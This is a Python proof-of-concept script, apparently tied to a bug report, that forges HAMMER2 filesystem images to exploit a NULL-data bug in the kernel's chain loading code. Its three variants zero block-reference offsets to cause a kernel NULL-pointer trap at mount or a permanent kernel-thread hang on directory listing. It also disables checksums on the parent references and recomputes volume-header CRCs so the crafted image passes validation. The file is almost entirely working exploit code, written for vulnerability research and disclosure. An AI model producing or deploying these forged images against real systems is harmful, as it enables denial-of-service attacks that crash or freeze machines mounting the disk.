#!/usr/bin/env python3
"""
DF-2617 PoC image forger.

Base image (guest mkbase2617.sh): newfs_hammer2 -L testvol, mounted, 33 files
(f1 + w0..w31) created, sync, umount  ->  the PFS root directory inode's
blockset contains INDIRECT brefs (33 entries > 4 direct slots).

The bug (hammer2_chain.c:938-939): hammer2_chain_load_data() early-returns
SUCCESS when (bref.data_off & ~HAMMER2_OFF_MASK_RADIX) == 0 regardless of
bref type, leaving chain->data == NULL with chain->error == 0 for types that
REQUIRE a media data block.  Consumers then dereference NULL or hit the
debugging while(1) tsleep at chain.c:2524-2529.

Variants:
  P1  volhdr sroot INODE bref data_off = 0
      -> first mount of the device: hammer2_chain_lookup(vchain->sroot) locks
         the sroot chain (data NULL, error 0 == passes the schain->error check
         at vfsops.c:1285), then vfsops.c:1309/1311 does
         ripdata = &schain->data->ipdata; ... ripdata->meta.pfs_clid
         -> Fatal trap 12 (near-NULL kernel read) in hammer2_mount.

  P2  PFS "testvol" INODE bref data_off = 0 (bref lives in the sroot inode's
      data block)
      -> hammer2_mount's PFS scan: chain_lookup(parent=sroot) returns the PFS
         chain (data NULL, error 0), then vfsops.c:1392
         strcmp(label, chain->data->ipdata.filename)
         -> Fatal trap 12 in hammer2_mount.  (This is the mount-path variant
         of the chain.c:2496 parent->data->ipdata deref -- same silent-NULL.)

  H   first INDIRECT bref under the PFS root inode data_off = 0
      -> mount succeeds; `ls /mnt/h2` -> hammer2_xop_readdir
         (HAMMER2_LOOKUP_ALWAYS) descends into the indirect: chain locked,
         load_data early-returns (data NULL, error 0), lookup re-enters with
         the indirect as parent and hits the debugging loop at
         chain.c:2524-2529:
             kprintf("hammer2: unexpected NULL data on %p")
             while (1) tsleep(parent, 0, "xxx", 0);   <- no PCATCH, no timeout
         -> xop backend thread wedged forever; ls never returns; kill -9 has
         no effect; mount unusable.

CRC handling (technique proven in DF-2616/DF-2620): set methods=0x00
(CHECK_NONE|COMP_NONE) on every ancestor bref whose media block we edit
(sroot bref for P2/H; PFS inode bref for H) so no check code is ever
verified on the crafted path, then recompute the volume-header CRC32Cs
of all four volhdr copies.
"""
import struct, sys

# ---------------- CRC32C (matches sys/libkern/icrc32.c) --------------------
def _mk():
    poly = 0x82F63B78
    t = []
    for n in range(256):
        c = n
        for _ in range(8):
            c = (c >> 1) ^ poly if (c & 1) else (c >> 1)
        t.append(c)
    return t
_T = _mk()

def iscsi_crc32(data):
    crc = 0xFFFFFFFF
    for b in data:
        crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF

assert iscsi_crc32(b"123456789") == 0xE3069283

RADIX_MASK = 0x3F
BREF = 128
INODE_DATA_BLOCKSET = 0x200
VOLHDR_STRIDE = 0x40000          # 4 copies at 0, 256K, 512K, 768K
MAGIC = 0x48414D3205172011
T_EMPTY, T_INODE, T_INDIRECT = 0, 1, 2

def bref_parse(buf, off):
    t, methods = struct.unpack_from('<2B', buf, off)
    key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8)
    return dict(type=t, methods=methods, key=key, data_off=doff, off=off)

def recompute_volhdr_crcs(buf, vo):
    c1 = iscsi_crc32(bytes(buf[vo + 512:vo + 1024]))
    struct.pack_into('<I', buf, vo + 0x1F8, c1)
    c0 = iscsi_crc32(bytes(buf[vo:vo + 508]))
    struct.pack_into('<I', buf, vo + 0x1FC, c0)
    cv = iscsi_crc32(bytes(buf[vo:vo + 0xFFFC]))
    struct.pack_into('<I', buf, vo + 0xFFFC, cv)

def find_volhdrs(img):
    offs = []
    for off in range(0, 4 * VOLHDR_STRIDE, VOLHDR_STRIDE):
        if struct.unpack_from('<Q', img, off)[0] == MAGIC:
            offs.append(off)
    assert offs, "no volume header found"
    return offs

def inode_name(img, iblk):
    nlen = struct.unpack_from('<H', img, iblk + 0x80)[0]
    return bytes(img[iblk + 0x100:iblk + 0x100 + max(nlen, 1)]).split(b'\0')[0]

def main():
    if len(sys.argv) != 4 or sys.argv[2] not in ('P1', 'P2', 'H'):
        print("usage: forge_df2617.py <base.img> <P1|P2|H> <out.img>")
        sys.exit(2)
    base, variant, out = sys.argv[1:4]
    img = bytearray(open(base, 'rb').read())
    vols = find_volhdrs(img)
    print("[forge] volhdr copies at: %s" % ", ".join(hex(o) for o in vols))

    # --- sroot bref (root_blockref slot 0) in every volhdr copy -----------
    sroots = []
    for vo in vols:
        br = bref_parse(img, vo + 0x200)
        assert br['type'] == T_INODE and (br['data_off'] & RADIX_MASK), \
            "bad sroot bref in volhdr @%#x" % vo
        sroots.append(br)
    # all copies must agree on the sroot media block (else tree is ambiguous)
    sblk = sroots[0]['data_off'] & ~RADIX_MASK
    assert all((br['data_off'] & ~RADIX_MASK) == sblk for br in sroots)
    print("[forge] sroot inode block @ %#x" % sblk)

    # --- locate PFS "testvol" inode bref under sroot (direct + indirect) --
    pfs_bref = None

    def try_child(br):
        nonlocal pfs_bref
        if br['type'] != T_INODE or not (br['data_off'] & RADIX_MASK):
            return False
        if inode_name(img, br['data_off'] & ~RADIX_MASK) == b'testvol':
            pfs_bref = br
            return True
        return False

    def walk_indirect(blk, radix, depth):
        nslots = min((1 << radix) // BREF, 1024)
        for i in range(nslots):
            br = bref_parse(img, blk + i * BREF)
            if br['type'] == T_EMPTY:
                continue
            if try_child(br):
                return True
            if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK) and depth < 4:
                if walk_indirect(br['data_off'] & ~RADIX_MASK,
                                 br['data_off'] & RADIX_MASK, depth + 1):
                    return True
        return False

    for i in range(8):
        br = bref_parse(img, sblk + INODE_DATA_BLOCKSET + i * BREF)
        if try_child(br):
            break
        if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
            if walk_indirect(br['data_off'] & ~RADIX_MASK,
                             br['data_off'] & RADIX_MASK, 1):
                break
    assert pfs_bref, "testvol PFS inode not found"
    iblk2 = pfs_bref['data_off'] & ~RADIX_MASK
    print("[forge] testvol PFS inode bref @img+%#x (methods %#x) -> inode blk @ %#x"
          % (pfs_bref['off'], pfs_bref['methods'], iblk2))

    def set_data_off(off, val):
        struct.pack_into('<Q', img, off + 0x20, val)

    def set_methods(off, val):
        struct.pack_into('<B', img, off + 0x01, val)

    if variant == 'P1':
        for br in sroots:
            print("[forge] P1: sroot bref @img+%#x data_off %#x -> 0"
                  % (br['off'], br['data_off']))
            set_data_off(br['off'], 0)

    elif variant == 'P2':
        print("[forge] P2: PFS inode bref @img+%#x data_off %#x -> 0"
              % (pfs_bref['off'], pfs_bref['data_off']))
        set_data_off(pfs_bref['off'], 0)
        # the PFS bref lives in sroot's media block: CHECK_NONE the sroot bref
        for br in sroots:
            set_methods(br['off'], 0x00)
        print("[forge] CHECK_NONE on sroot bref(s) (covers sroot inode block)")

    else:  # H
        # find first INDIRECT bref in the PFS root inode's blockset
        ind = None
        for i in range(8):
            br = bref_parse(img, iblk2 + INODE_DATA_BLOCKSET + i * BREF)
            if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
                ind = br
                break
        if ind is None:
            # fall back: first indirect inside a first-level indirect array
            for i in range(8):
                br = bref_parse(img, iblk2 + INODE_DATA_BLOCKSET + i * BREF)
                if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
                    break
            blk = br['data_off'] & ~RADIX_MASK
            radix = br['data_off'] & RADIX_MASK
            for j in range(min((1 << radix) // BREF, 1024)):
                br2 = bref_parse(img, blk + j * BREF)
                if br2['type'] == T_INDIRECT and (br2['data_off'] & RADIX_MASK):
                    ind = br2
                    break
        assert ind, "no INDIRECT bref found under PFS root"
        print("[forge] H: INDIRECT bref @img+%#x data_off %#x -> 0"
              % (ind['off'], ind['data_off']))
        set_data_off(ind['off'], 0)
        # ancestors whose media blocks now hold unchecked bytes:
        set_methods(pfs_bref['off'], 0x00)   # covers PFS inode block (ind lives there)
        for br in sroots:
            set_methods(br['off'], 0x00)     # covers sroot block (PFS bref edited)
        print("[forge] CHECK_NONE on sroot + PFS inode brefs")

    for vo in vols:
        recompute_volhdr_crcs(img, vo)
    open(out, 'wb').write(img)
    print("[+] wrote %s (variant %s)" % (out, variant))

if __name__ == '__main__':
    main()